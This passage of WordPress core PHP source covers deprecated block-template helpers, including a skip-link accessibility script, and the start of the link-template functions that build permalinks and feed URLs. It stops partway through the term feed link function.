function _remove_theme_attribute_in_block_template_content( $template_content ) {
	_deprecated_function(
		__FUNCTION__,
		'6.4.0',
		'traverse_and_serialize_blocks( parse_blocks( $template_content ), "_remove_theme_attribute_from_template_part_block" )'
	);

	$has_updated_content = false;
	$new_content         = '';
	$template_blocks     = parse_blocks( $template_content );

	$blocks = _flatten_blocks( $template_blocks );
	foreach ( $blocks as $key => $block ) {
		if ( 'core/template-part' === $block['blockName'] && isset( $block['attrs']['theme'] ) ) {
			unset( $blocks[ $key ]['attrs']['theme'] );
			$has_updated_content = true;
		}
	}

	if ( ! $has_updated_content ) {
		return $template_content;
	}

	foreach ( $template_blocks as $block ) {
		$new_content .= serialize_block( $block );
	}

	return $new_content;
}

/**
 * Prints the skip-link script & styles.
 *
 * @since 5.8.0
 * @access private
 * @deprecated 6.4.0 Use wp_enqueue_block_template_skip_link() instead.
 *
 * @global string $_wp_current_template_content
 */
function the_block_template_skip_link() {
	_deprecated_function( __FUNCTION__, '6.4.0', 'wp_enqueue_block_template_skip_link()' );

	global $_wp_current_template_content;

	// Early exit if not a block theme.
	if ( ! current_theme_supports( 'block-templates' ) ) {
		return;
	}

	// Early exit if not a block template.
	if ( ! $_wp_current_template_content ) {
		return;
	}
	?>

	<?php
	/**
	 * Print the skip-link styles.
	 */
	?>
	<style id="skip-link-styles">
		.skip-link.screen-reader-text {
			border: 0;
			clip: rect(1px,1px,1px,1px);
			clip-path: inset(50%);
			height: 1px;
			margin: -1px;
			overflow: hidden;
			padding: 0;
			position: absolute !important;
			width: 1px;
			word-wrap: normal !important;
		}

		.skip-link.screen-reader-text:focus {
			background-color: #eee;
			clip: auto !important;
			clip-path: none;
			color: #444;
			display: block;
			font-size: 1em;
			height: auto;
			left: 5px;
			line-height: normal;
			padding: 15px 23px 14px;
			text-decoration: none;
			top: 5px;
			width: auto;
			z-index: 100000;
		}
	</style>
	<?php
	/**
	 * Print the skip-link script.
	 */
	?>
	<script>
	( function() {
		var skipLinkTarget = document.querySelector( 'main' ),
			sibling,
			skipLinkTargetID,
			skipLink;

		// Early exit if a skip-link target can't be located.
		if ( ! skipLinkTarget ) {
			return;
		}

		/*
		 * Get the site wrapper.
		 * The skip-link will be injected in the beginning of it.
		 */
		sibling = document.querySelector( '.wp-site-blocks' );

		// Early exit if the root element was not found.
		if ( ! sibling ) {
			return;
		}

		// Get the skip-link target's ID, and generate one if it doesn't exist.
		skipLinkTargetID = skipLinkTarget.id;
		if ( ! skipLinkTargetID ) {
			skipLinkTargetID = 'wp--skip-link--target';
			skipLinkTarget.id = skipLinkTargetID;
		}

		// Create the skip link.
		skipLink = document.createElement( 'a' );
		skipLink.classList.add( 'skip-link', 'screen-reader-text' );
		skipLink.href = '#' + skipLinkTargetID;
		skipLink.innerHTML = '<?php /* translators: Hidden accessibility text. */ esc_html_e( 'Skip to content' ); ?>';

		// Inject the skip link.
		sibling.parentElement.insertBefore( skipLink, sibling );
	}() );
	</script>
	<?php
}

/**
 * Ensure that the view script has the `wp-interactivity` dependency.
 *
 * @since 6.4.0
 * @deprecated 6.5.0
 *
 * @global WP_Scripts $wp_scripts
 */
function block_core_query_ensure_interactivity_dependency() {
	_deprecated_function( __FUNCTION__, '6.5.0', 'wp_register_script_module' );
	global $wp_scripts;
	if (
		isset( $wp_scripts->registered['wp-block-query-view'] ) &&
		! in_array( 'wp-interactivity', $wp_scripts->registered['wp-block-query-view']->deps, true )
	) {
		$wp_scripts->registered['wp-block-query-view']->deps[] = 'wp-interactivity';
	}
}

/**
 * Ensure that the view script has the `wp-interactivity` dependency.
 *
 * @since 6.4.0
 * @deprecated 6.5.0
 *
 * @global WP_Scripts $wp_scripts
 */
function block_core_file_ensure_interactivity_dependency() {
	_deprecated_function( __FUNCTION__, '6.5.0', 'wp_register_script_module' );
	global $wp_scripts;
	if (
		isset( $wp_scripts->registered['wp-block-file-view'] ) &&
		! in_array( 'wp-interactivity', $wp_scripts->registered['wp-block-file-view']->deps, true )
	) {
		$wp_scripts->registered['wp-block-file-view']->deps[] = 'wp-interactivity';
	}
}

/**
 * Ensures that the view script has the `wp-interactivity` dependency.
 *
 * @since 6.4.0
 * @deprecated 6.5.0
 *
 * @global WP_Scripts $wp_scripts
 */
function block_core_image_ensure_interactivity_dependency() {
	_deprecated_function( __FUNCTION__, '6.5.0', 'wp_register_script_module' );
	global $wp_scripts;
	if (
		isset( $wp_scripts->registered['wp-block-image-view'] ) &&
		! in_array( 'wp-interactivity', $wp_scripts->registered['wp-block-image-view']->deps, true )
	) {
		$wp_scripts->registered['wp-block-image-view']->deps[] = 'wp-interactivity';
	}
}
<?php
/**
 * WordPress Link Template Functions
 *
 * @package WordPress
 * @subpackage Template
 */

/**
 * Displays the permalink for the current post.
 *
 * @since 1.2.0
 * @since 4.4.0 Added the `$post` parameter.
 *
 * @param int|WP_Post $post Optional. Post ID or post object. Default is the global `$post`.
 */
function the_permalink( $post = 0 ) {
	/**
	 * Filters the display of the permalink for the current post.
	 *
	 * @since 1.5.0
	 * @since 4.4.0 Added the `$post` parameter.
	 *
	 * @param string      $permalink The permalink for the current post.
	 * @param int|WP_Post $post      Post ID, WP_Post object, or 0. Default 0.
	 */
	echo esc_url( apply_filters( 'the_permalink', get_permalink( $post ), $post ) );
}

/**
 * Retrieves a trailing-slashed string if the site is set for adding trailing slashes.
 *
 * Conditionally adds a trailing slash if the permalink structure has a trailing
 * slash, strips the trailing slash if not. The string is passed through the
 * {@see 'user_trailingslashit'} filter. Will remove trailing slash from string, if
 * site is not set to have them.
 *
 * @since 2.2.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param string $url         URL with or without a trailing slash.
 * @param string $type_of_url Optional. The type of URL being considered (e.g. single, category, etc)
 *                            for use in the filter. Default empty string.
 * @return string The URL with the trailing slash appended or stripped.
 */
function user_trailingslashit( $url, $type_of_url = '' ) {
	global $wp_rewrite;
	if ( $wp_rewrite->use_trailing_slashes ) {
		$url = trailingslashit( $url );
	} else {
		$url = untrailingslashit( $url );
	}

	/**
	 * Filters the trailing-slashed string, depending on whether the site is set to use trailing slashes.
	 *
	 * @since 2.2.0
	 *
	 * @param string $url         URL with or without a trailing slash.
	 * @param string $type_of_url The type of URL being considered. Accepts 'single', 'single_trackback',
	 *                            'single_feed', 'single_paged', 'commentpaged', 'paged', 'home', 'feed',
	 *                            'category', 'page', 'year', 'month', 'day', 'post_type_archive'.
	 */
	return apply_filters( 'user_trailingslashit', $url, $type_of_url );
}

/**
 * Displays the permalink anchor for the current post.
 *
 * The permalink mode title will use the post title for the 'a' element 'id'
 * attribute. The id mode uses 'post-' with the post ID for the 'id' attribute.
 *
 * @since 0.71
 *
 * @param string $mode Optional. Permalink mode. Accepts 'title' or 'id'. Default 'id'.
 */
function permalink_anchor( $mode = 'id' ) {
	$post = get_post();
	switch ( strtolower( $mode ) ) {
		case 'title':
			$title = sanitize_title( $post->post_title ) . '-' . $post->ID;
			echo '<a id="' . $title . '"></a>';
			break;
		case 'id':
		default:
			echo '<a id="post-' . $post->ID . '"></a>';
			break;
	}
}

/**
 * Determine whether post should always use a plain permalink structure.
 *
 * @since 5.7.0
 *
 * @param WP_Post|int|null $post   Optional. Post ID or post object. Defaults to global $post.
 * @param bool|null        $sample Optional. Whether to force consideration based on sample links.
 *                                 If omitted, a sample link is generated if a post object is passed
 *                                 with the filter property set to 'sample'.
 * @return bool Whether to use a plain permalink structure.
 */
function wp_force_plain_post_permalink( $post = null, $sample = null ) {
	if (
		null === $sample &&
		is_object( $post ) &&
		isset( $post->filter ) &&
		'sample' === $post->filter
	) {
		$sample = true;
	} else {
		$post   = get_post( $post );
		$sample = null !== $sample ? $sample : false;
	}

	if ( ! $post ) {
		return true;
	}

	$post_status_obj = get_post_status_object( get_post_status( $post ) );
	$post_type_obj   = get_post_type_object( get_post_type( $post ) );

	if ( ! $post_status_obj || ! $post_type_obj ) {
		return true;
	}

	if (
		// Publicly viewable links never have plain permalinks.
		is_post_status_viewable( $post_status_obj ) ||
		(
			// Private posts don't have plain permalinks if the user can read them.
			$post_status_obj->private &&
			current_user_can( 'read_post', $post->ID )
		) ||
		// Protected posts don't have plain links if getting a sample URL.
		( $post_status_obj->protected && $sample )
	) {
		return false;
	}

	return true;
}

/**
 * Retrieves the full permalink for the current post or post ID.
 *
 * This function is an alias for get_permalink().
 *
 * @since 3.9.0
 *
 * @see get_permalink()
 *
 * @param int|WP_Post $post      Optional. Post ID or post object. Default is the global `$post`.
 * @param bool        $leavename Optional. Whether to keep post name or page name. Default false.
 * @return string|false The permalink URL. False if the post does not exist.
 */
function get_the_permalink( $post = 0, $leavename = false ) {
	return get_permalink( $post, $leavename );
}

/**
 * Retrieves the full permalink for the current post or post ID.
 *
 * @since 1.0.0
 *
 * @param int|WP_Post $post      Optional. Post ID or post object. Default is the global `$post`.
 * @param bool        $leavename Optional. Whether to keep post name or page name. Default false.
 * @return string|false The permalink URL. False if the post does not exist.
 */
function get_permalink( $post = 0, $leavename = false ) {
	$rewritecode = array(
		'%year%',
		'%monthnum%',
		'%day%',
		'%hour%',
		'%minute%',
		'%second%',
		$leavename ? '' : '%postname%',
		'%post_id%',
		'%category%',
		'%author%',
		$leavename ? '' : '%pagename%',
	);

	if ( is_object( $post ) && isset( $post->filter ) && 'sample' === $post->filter ) {
		$sample = true;
	} else {
		$post   = get_post( $post );
		$sample = false;
	}

	if ( empty( $post->ID ) ) {
		return false;
	}

	if ( 'page' === $post->post_type ) {
		return get_page_link( $post, $leavename, $sample );
	} elseif ( 'attachment' === $post->post_type ) {
		return get_attachment_link( $post, $leavename );
	} elseif ( in_array( $post->post_type, get_post_types( array( '_builtin' => false ) ), true ) ) {
		return get_post_permalink( $post, $leavename, $sample );
	}

	$permalink = get_option( 'permalink_structure' );

	/**
	 * Filters the permalink structure for a post before token replacement occurs.
	 *
	 * Only applies to posts with post_type of 'post'.
	 *
	 * @since 3.0.0
	 *
	 * @param string  $permalink The site's permalink structure.
	 * @param WP_Post $post      The post in question.
	 * @param bool    $leavename Whether to keep the post name.
	 */
	$permalink = apply_filters( 'pre_post_link', $permalink, $post, $leavename );

	if (
		$permalink &&
		! wp_force_plain_post_permalink( $post )
	) {

		$category = '';
		if ( str_contains( $permalink, '%category%' ) ) {
			$cats = get_the_category( $post->ID );
			if ( $cats ) {
				$cats = wp_list_sort(
					$cats,
					array(
						'term_id' => 'ASC',
					)
				);

				/**
				 * Filters the category that gets used in the %category% permalink token.
				 *
				 * @since 3.5.0
				 *
				 * @param WP_Term  $cat  The category to use in the permalink.
				 * @param array    $cats Array of all categories (WP_Term objects) associated with the post.
				 * @param WP_Post  $post The post in question.
				 */
				$category_object = apply_filters( 'post_link_category', $cats[0], $cats, $post );

				$category_object = get_term( $category_object, 'category' );
				$category        = $category_object->slug;
				if ( $category_object->parent ) {
					$category = get_category_parents( $category_object->parent, false, '/', true ) . $category;
				}
			}
			/*
			 * Show default category in permalinks,
			 * without having to assign it explicitly.
			 */
			if ( empty( $category ) ) {
				$default_category = get_term( get_option( 'default_category' ), 'category' );
				if ( $default_category && ! is_wp_error( $default_category ) ) {
					$category = $default_category->slug;
				}
			}
		}

		$author = '';
		if ( str_contains( $permalink, '%author%' ) ) {
			$authordata = get_userdata( $post->post_author );
			$author     = $authordata->user_nicename;
		}

		/*
		 * This is not an API call because the permalink is based on the stored post_date value,
		 * which should be parsed as local time regardless of the default PHP timezone.
		 */
		$date = explode( ' ', str_replace( array( '-', ':' ), ' ', $post->post_date ) );

		$rewritereplace = array(
			$date[0],
			$date[1],
			$date[2],
			$date[3],
			$date[4],
			$date[5],
			$post->post_name,
			$post->ID,
			$category,
			$author,
			$post->post_name,
		);

		$permalink = home_url( str_replace( $rewritecode, $rewritereplace, $permalink ) );
		$permalink = user_trailingslashit( $permalink, 'single' );

	} else { // If they're not using the fancy permalink option.
		$permalink = home_url( '?p=' . $post->ID );
	}

	/**
	 * Filters the permalink for a post.
	 *
	 * Only applies to posts with post_type of 'post'.
	 *
	 * @since 1.5.0
	 *
	 * @param string  $permalink The post's permalink.
	 * @param WP_Post $post      The post in question.
	 * @param bool    $leavename Whether to keep the post name.
	 */
	return apply_filters( 'post_link', $permalink, $post, $leavename );
}

/**
 * Retrieves the permalink for a post of a custom post type.
 *
 * @since 3.0.0
 * @since 6.1.0 Returns false if the post does not exist.
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param int|WP_Post $post      Optional. Post ID or post object. Default is the global `$post`.
 * @param bool        $leavename Optional. Whether to keep post name. Default false.
 * @param bool        $sample    Optional. Is it a sample permalink. Default false.
 * @return string|false The post permalink URL. False if the post does not exist.
 */
function get_post_permalink( $post = 0, $leavename = false, $sample = false ) {
	global $wp_rewrite;

	$post = get_post( $post );

	if ( ! $post ) {
		return false;
	}

	$post_link = $wp_rewrite->get_extra_permastruct( $post->post_type );

	$slug = $post->post_name;

	$force_plain_link = wp_force_plain_post_permalink( $post );

	$post_type = get_post_type_object( $post->post_type );

	if ( $post_type->hierarchical ) {
		$slug = get_page_uri( $post );
	}

	if ( ! empty( $post_link ) && ( ! $force_plain_link || $sample ) ) {
		if ( ! $leavename ) {
			$post_link = str_replace( "%$post->post_type%", $slug, $post_link );
		}
		$post_link = home_url( user_trailingslashit( $post_link ) );
	} else {
		if ( $post_type->query_var && ( isset( $post->post_status ) && ! $force_plain_link ) ) {
			$post_link = add_query_arg( $post_type->query_var, $slug, '' );
		} else {
			$post_link = add_query_arg(
				array(
					'post_type' => $post->post_type,
					'p'         => $post->ID,
				),
				''
			);
		}
		$post_link = home_url( $post_link );
	}

	/**
	 * Filters the permalink for a post of a custom post type.
	 *
	 * @since 3.0.0
	 *
	 * @param string  $post_link The post's permalink.
	 * @param WP_Post $post      The post in question.
	 * @param bool    $leavename Whether to keep the post name.
	 * @param bool    $sample    Is it a sample permalink.
	 */
	return apply_filters( 'post_type_link', $post_link, $post, $leavename, $sample );
}

/**
 * Retrieves the permalink for the current page or page ID.
 *
 * Respects page_on_front. Use this one.
 *
 * @since 1.5.0
 *
 * @param int|WP_Post $post      Optional. Post ID or object. Default uses the global `$post`.
 * @param bool        $leavename Optional. Whether to keep the page name. Default false.
 * @param bool        $sample    Optional. Whether it should be treated as a sample permalink.
 *                               Default false.
 * @return string The page permalink.
 */
function get_page_link( $post = false, $leavename = false, $sample = false ) {
	$post = get_post( $post );

	if ( 'page' === get_option( 'show_on_front' ) && get_option( 'page_on_front' ) == $post->ID ) {
		$link = home_url( '/' );
	} else {
		$link = _get_page_link( $post, $leavename, $sample );
	}

	/**
	 * Filters the permalink for a page.
	 *
	 * @since 1.5.0
	 *
	 * @param string $link    The page's permalink.
	 * @param int    $post_id The ID of the page.
	 * @param bool   $sample  Is it a sample permalink.
	 */
	return apply_filters( 'page_link', $link, $post->ID, $sample );
}

/**
 * Retrieves the page permalink.
 *
 * Ignores page_on_front. Internal use only.
 *
 * @since 2.1.0
 * @access private
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param int|WP_Post $post      Optional. Post ID or object. Default uses the global `$post`.
 * @param bool        $leavename Optional. Whether to keep the page name. Default false.
 * @param bool        $sample    Optional. Whether it should be treated as a sample permalink.
 *                               Default false.
 * @return string The page permalink.
 */
function _get_page_link( $post = false, $leavename = false, $sample = false ) {
	global $wp_rewrite;

	$post = get_post( $post );

	$force_plain_link = wp_force_plain_post_permalink( $post );

	$link = $wp_rewrite->get_page_permastruct();

	if ( ! empty( $link ) && ( ( isset( $post->post_status ) && ! $force_plain_link ) || $sample ) ) {
		if ( ! $leavename ) {
			$link = str_replace( '%pagename%', get_page_uri( $post ), $link );
		}

		$link = home_url( $link );
		$link = user_trailingslashit( $link, 'page' );
	} else {
		$link = home_url( '?page_id=' . $post->ID );
	}

	/**
	 * Filters the permalink for a non-page_on_front page.
	 *
	 * @since 2.1.0
	 *
	 * @param string $link    The page's permalink.
	 * @param int    $post_id The ID of the page.
	 */
	return apply_filters( '_get_page_link', $link, $post->ID );
}

/**
 * Retrieves the permalink for an attachment.
 *
 * This can be used in the WordPress Loop or outside of it.
 *
 * @since 2.0.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param int|object $post      Optional. Post ID or object. Default uses the global `$post`.
 * @param bool       $leavename Optional. Whether to keep the page name. Default false.
 * @return string The attachment permalink.
 */
function get_attachment_link( $post = null, $leavename = false ) {
	global $wp_rewrite;

	$link = false;

	$post             = get_post( $post );
	$force_plain_link = wp_force_plain_post_permalink( $post );
	$parent_id        = $post->post_parent;
	$parent           = $parent_id ? get_post( $parent_id ) : false;
	$parent_valid     = true; // Default for no parent.
	if (
		$parent_id &&
		(
			$post->post_parent === $post->ID ||
			! $parent ||
			! is_post_type_viewable( get_post_type( $parent ) )
		)
	) {
		// Post is either its own parent or parent post unavailable.
		$parent_valid = false;
	}

	if ( $force_plain_link || ! $parent_valid ) {
		$link = false;
	} elseif ( $wp_rewrite->using_permalinks() && $parent ) {
		if ( 'page' === $parent->post_type ) {
			$parentlink = _get_page_link( $post->post_parent ); // Ignores page_on_front.
		} else {
			$parentlink = get_permalink( $post->post_parent );
		}

		if ( is_numeric( $post->post_name ) || str_contains( get_option( 'permalink_structure' ), '%category%' ) ) {
			$name = 'attachment/' . $post->post_name; // <permalink>/<int>/ is paged so we use the explicit attachment marker.
		} else {
			$name = $post->post_name;
		}

		if ( ! str_contains( $parentlink, '?' ) ) {
			$link = user_trailingslashit( trailingslashit( $parentlink ) . '%postname%' );
		}

		if ( ! $leavename ) {
			$link = str_replace( '%postname%', $name, $link );
		}
	} elseif ( $wp_rewrite->using_permalinks() && ! $leavename ) {
		$link = home_url( user_trailingslashit( $post->post_name ) );
	}

	if ( ! $link ) {
		$link = home_url( '/?attachment_id=' . $post->ID );
	}

	/**
	 * Filters the permalink for an attachment.
	 *
	 * @since 2.0.0
	 * @since 5.6.0 Providing an empty string will now disable
	 *              the view attachment page link on the media modal.
	 *
	 * @param string $link    The attachment's permalink.
	 * @param int    $post_id Attachment ID.
	 */
	return apply_filters( 'attachment_link', $link, $post->ID );
}

/**
 * Retrieves the permalink for the year archives.
 *
 * @since 1.5.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param int|false $year Integer of year. False for current year.
 * @return string The permalink for the specified year archive.
 */
function get_year_link( $year ) {
	global $wp_rewrite;
	if ( ! $year ) {
		$year = current_time( 'Y' );
	}
	$yearlink = $wp_rewrite->get_year_permastruct();
	if ( ! empty( $yearlink ) ) {
		$yearlink = str_replace( '%year%', $year, $yearlink );
		$yearlink = home_url( user_trailingslashit( $yearlink, 'year' ) );
	} else {
		$yearlink = home_url( '?m=' . $year );
	}

	/**
	 * Filters the year archive permalink.
	 *
	 * @since 1.5.0
	 *
	 * @param string $yearlink Permalink for the year archive.
	 * @param int    $year     Year for the archive.
	 */
	return apply_filters( 'year_link', $yearlink, $year );
}

/**
 * Retrieves the permalink for the month archives with year.
 *
 * @since 1.0.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param int|false $year  Integer of year. False for current year.
 * @param int|false $month Integer of month. False for current month.
 * @return string The permalink for the specified month and year archive.
 */
function get_month_link( $year, $month ) {
	global $wp_rewrite;
	if ( ! $year ) {
		$year = current_time( 'Y' );
	}
	if ( ! $month ) {
		$month = current_time( 'm' );
	}
	$monthlink = $wp_rewrite->get_month_permastruct();
	if ( ! empty( $monthlink ) ) {
		$monthlink = str_replace( '%year%', $year, $monthlink );
		$monthlink = str_replace( '%monthnum%', zeroise( (int) $month, 2 ), $monthlink );
		$monthlink = home_url( user_trailingslashit( $monthlink, 'month' ) );
	} else {
		$monthlink = home_url( '?m=' . $year . zeroise( $month, 2 ) );
	}

	/**
	 * Filters the month archive permalink.
	 *
	 * @since 1.5.0
	 *
	 * @param string $monthlink Permalink for the month archive.
	 * @param int    $year      Year for the archive.
	 * @param int    $month     The month for the archive.
	 */
	return apply_filters( 'month_link', $monthlink, $year, $month );
}

/**
 * Retrieves the permalink for the day archives with year and month.
 *
 * @since 1.0.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param int|false $year  Integer of year. False for current year.
 * @param int|false $month Integer of month. False for current month.
 * @param int|false $day   Integer of day. False for current day.
 * @return string The permalink for the specified day, month, and year archive.
 */
function get_day_link( $year, $month, $day ) {
	global $wp_rewrite;
	if ( ! $year ) {
		$year = current_time( 'Y' );
	}
	if ( ! $month ) {
		$month = current_time( 'm' );
	}
	if ( ! $day ) {
		$day = current_time( 'j' );
	}

	$daylink = $wp_rewrite->get_day_permastruct();
	if ( ! empty( $daylink ) ) {
		$daylink = str_replace( '%year%', $year, $daylink );
		$daylink = str_replace( '%monthnum%', zeroise( (int) $month, 2 ), $daylink );
		$daylink = str_replace( '%day%', zeroise( (int) $day, 2 ), $daylink );
		$daylink = home_url( user_trailingslashit( $daylink, 'day' ) );
	} else {
		$daylink = home_url( '?m=' . $year . zeroise( $month, 2 ) . zeroise( $day, 2 ) );
	}

	/**
	 * Filters the day archive permalink.
	 *
	 * @since 1.5.0
	 *
	 * @param string $daylink Permalink for the day archive.
	 * @param int    $year    Year for the archive.
	 * @param int    $month   Month for the archive.
	 * @param int    $day     The day for the archive.
	 */
	return apply_filters( 'day_link', $daylink, $year, $month, $day );
}

/**
 * Displays the permalink for the feed type.
 *
 * @since 3.0.0
 *
 * @param string $anchor The link's anchor text.
 * @param string $feed   Optional. Feed type. Possible values include 'rss2', 'atom'.
 *                       Default is the value of get_default_feed().
 */
function the_feed_link( $anchor, $feed = '' ) {
	$link = '<a href="' . esc_url( get_feed_link( $feed ) ) . '">' . $anchor . '</a>';

	/**
	 * Filters the feed link anchor tag.
	 *
	 * @since 3.0.0
	 *
	 * @param string $link The complete anchor tag for a feed link.
	 * @param string $feed The feed type. Possible values include 'rss2', 'atom',
	 *                     or an empty string for the default feed type.
	 */
	echo apply_filters( 'the_feed_link', $link, $feed );
}

/**
 * Retrieves the permalink for the feed type.
 *
 * @since 1.5.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param string $feed Optional. Feed type. Possible values include 'rss2', 'atom'.
 *                     Default is the value of get_default_feed().
 * @return string The feed permalink.
 */
function get_feed_link( $feed = '' ) {
	global $wp_rewrite;

	$permalink = $wp_rewrite->get_feed_permastruct();

	if ( $permalink ) {
		if ( str_contains( $feed, 'comments_' ) ) {
			$feed      = str_replace( 'comments_', '', $feed );
			$permalink = $wp_rewrite->get_comment_feed_permastruct();
		}

		if ( get_default_feed() == $feed ) {
			$feed = '';
		}

		$permalink = str_replace( '%feed%', $feed, $permalink );
		$permalink = preg_replace( '#/+#', '/', "/$permalink" );
		$output    = home_url( user_trailingslashit( $permalink, 'feed' ) );
	} else {
		if ( empty( $feed ) ) {
			$feed = get_default_feed();
		}

		if ( str_contains( $feed, 'comments_' ) ) {
			$feed = str_replace( 'comments_', 'comments-', $feed );
		}

		$output = home_url( "?feed={$feed}" );
	}

	/**
	 * Filters the feed type permalink.
	 *
	 * @since 1.5.0
	 *
	 * @param string $output The feed permalink.
	 * @param string $feed   The feed type. Possible values include 'rss2', 'atom',
	 *                       or an empty string for the default feed type.
	 */
	return apply_filters( 'feed_link', $output, $feed );
}

/**
 * Retrieves the permalink for the post comments feed.
 *
 * @since 2.2.0
 *
 * @param int    $post_id Optional. Post ID. Default is the ID of the global `$post`.
 * @param string $feed    Optional. Feed type. Possible values include 'rss2', 'atom'.
 *                        Default is the value of get_default_feed().
 * @return string The permalink for the comments feed for the given post on success, empty string on failure.
 */
function get_post_comments_feed_link( $post_id = 0, $feed = '' ) {
	$post_id = absint( $post_id );

	if ( ! $post_id ) {
		$post_id = get_the_ID();
	}

	if ( empty( $feed ) ) {
		$feed = get_default_feed();
	}

	$post = get_post( $post_id );

	// Bail out if the post does not exist.
	if ( ! $post instanceof WP_Post ) {
		return '';
	}

	$unattached = 'attachment' === $post->post_type && 0 === (int) $post->post_parent;

	if ( get_option( 'permalink_structure' ) ) {
		if ( 'page' === get_option( 'show_on_front' ) && get_option( 'page_on_front' ) == $post_id ) {
			$url = _get_page_link( $post_id );
		} else {
			$url = get_permalink( $post_id );
		}

		if ( $unattached ) {
			$url = home_url( '/feed/' );
			if ( get_default_feed() !== $feed ) {
				$url .= "$feed/";
			}
			$url = add_query_arg( 'attachment_id', $post_id, $url );
		} else {
			$url = trailingslashit( $url ) . 'feed';
			if ( get_default_feed() != $feed ) {
				$url .= "/$feed";
			}
			$url = user_trailingslashit( $url, 'single_feed' );
		}
	} else {
		if ( $unattached ) {
			$url = add_query_arg(
				array(
					'feed'          => $feed,
					'attachment_id' => $post_id,
				),
				home_url( '/' )
			);
		} elseif ( 'page' === $post->post_type ) {
			$url = add_query_arg(
				array(
					'feed'    => $feed,
					'page_id' => $post_id,
				),
				home_url( '/' )
			);
		} else {
			$url = add_query_arg(
				array(
					'feed' => $feed,
					'p'    => $post_id,
				),
				home_url( '/' )
			);
		}
	}

	/**
	 * Filters the post comments feed permalink.
	 *
	 * @since 1.5.1
	 *
	 * @param string $url Post comments feed permalink.
	 */
	return apply_filters( 'post_comments_feed_link', $url );
}

/**
 * Displays the comment feed link for a post.
 *
 * Prints out the comment feed link for a post. Link text is placed in the
 * anchor. If no link text is specified, default text is used. If no post ID is
 * specified, the current post is used.
 *
 * @since 2.5.0
 *
 * @param string $link_text Optional. Descriptive link text. Default 'Comments Feed'.
 * @param int    $post_id   Optional. Post ID. Default is the ID of the global `$post`.
 * @param string $feed      Optional. Feed type. Possible values include 'rss2', 'atom'.
 *                          Default is the value of get_default_feed().
 */
function post_comments_feed_link( $link_text = '', $post_id = '', $feed = '' ) {
	$url = get_post_comments_feed_link( $post_id, $feed );
	if ( empty( $link_text ) ) {
		$link_text = __( 'Comments Feed' );
	}

	$link = '<a href="' . esc_url( $url ) . '">' . $link_text . '</a>';
	/**
	 * Filters the post comment feed link anchor tag.
	 *
	 * @since 2.8.0
	 *
	 * @param string $link    The complete anchor tag for the comment feed link.
	 * @param int    $post_id Post ID.
	 * @param string $feed    The feed type. Possible values include 'rss2', 'atom',
	 *                        or an empty string for the default feed type.
	 */
	echo apply_filters( 'post_comments_feed_link_html', $link, $post_id, $feed );
}

/**
 * Retrieves the feed link for a given author.
 *
 * Returns a link to the feed for all posts by a given author. A specific feed
 * can be requested or left blank to get the default feed.
 *
 * @since 2.5.0
 *
 * @param int    $author_id Author ID.
 * @param string $feed      Optional. Feed type. Possible values include 'rss2', 'atom'.
 *                          Default is the value of get_default_feed().
 * @return string Link to the feed for the author specified by $author_id.
 */
function get_author_feed_link( $author_id, $feed = '' ) {
	$author_id           = (int) $author_id;
	$permalink_structure = get_option( 'permalink_structure' );

	if ( empty( $feed ) ) {
		$feed = get_default_feed();
	}

	if ( ! $permalink_structure ) {
		$link = home_url( "?feed=$feed&amp;author=" . $author_id );
	} else {
		$link = get_author_posts_url( $author_id );
		if ( get_default_feed() == $feed ) {
			$feed_link = 'feed';
		} else {
			$feed_link = "feed/$feed";
		}

		$link = trailingslashit( $link ) . user_trailingslashit( $feed_link, 'feed' );
	}

	/**
	 * Filters the feed link for a given author.
	 *
	 * @since 1.5.1
	 *
	 * @param string $link The author feed link.
	 * @param string $feed Feed type. Possible values include 'rss2', 'atom'.
	 */
	$link = apply_filters( 'author_feed_link', $link, $feed );

	return $link;
}

/**
 * Retrieves the feed link for a category.
 *
 * Returns a link to the feed for all posts in a given category. A specific feed
 * can be requested or left blank to get the default feed.
 *
 * @since 2.5.0
 *
 * @param int|WP_Term|object $cat  The ID or category object whose feed link will be retrieved.
 * @param string             $feed Optional. Feed type. Possible values include 'rss2', 'atom'.
 *                                 Default is the value of get_default_feed().
 * @return string Link to the feed for the category specified by `$cat`.
 */
function get_category_feed_link( $cat, $feed = '' ) {
	return get_term_feed_link( $cat, 'category', $feed );
}

/**
 * Retrieves the feed link for a term.
 *
 * Returns a link to the feed for all posts in a given term. A specific feed
 * can be requested or left blank to get the default feed.
 *
 * @since 3.0.0
 *
 * @param int|WP_Term|object $term     The ID or term object whose feed link will be retrieved.
 * @param string             $taxonomy Optional. Taxonomy of `$term_id`.
 * @param string             $feed     Optional. Feed type. Possible values include 'rss2', 'atom'.
 *                                     Default is the value of get_default_feed().
 * @return string|false Link to the feed for the term specified by `$term` and `$taxonomy`.
 */
function get_term_feed_link( $term, $taxonomy = '', $feed = '' ) {
	if ( ! is_object( $term ) ) {
		$term = (int) $term;
	}

	$term = get_term( $term, $taxonomy );

	if ( empty( $term ) || is_wp_error( $term ) ) {
		return false;
	}

	$taxonomy = $term->taxonomy;

	if ( empty( $feed ) ) {
		$feed = get_default_feed();
	}

	$permalink_structure = get_option( 'permalink_structure' );

	if ( ! $permalink_structure ) {
		if ( 'category' === $taxonomy ) {
			$link = home_url( "?feed=$feed&amp;cat=$term->term_id" );
		} elseif ( 'post_tag' === $taxonomy ) {
			$link = home_url( "?feed=$feed&amp;tag=$term->slug" );
		} else {
			$t    = get_taxonomy( $taxonomy );
			$link = home_url( "?feed=$feed&amp;$t->query_var=$term->slug" );
		}
	} else {
		$link = get_term_link( $term, $term->taxonomy );
		if ( get_default_feed() == $feed ) {
			$feed_link = 'feed';
		} else {
			$feed_link = "feed/$feed";
		}

		$link = trailingslashit( $link ) . user_trailingslashit( $feed_link, 'feed' );
	}

	if ( 'category' === $taxonomy ) {
		/**
		 * Filters the category feed link.
		 *
		 * @since 1.5.1
		 *
		 * @param string $link The category feed link.
		 * @param string $feed Feed type. Possible values include 'rss2', 'atom'.
		 */
		$link = apply_filters( 'category_feed_link', $link, $feed );
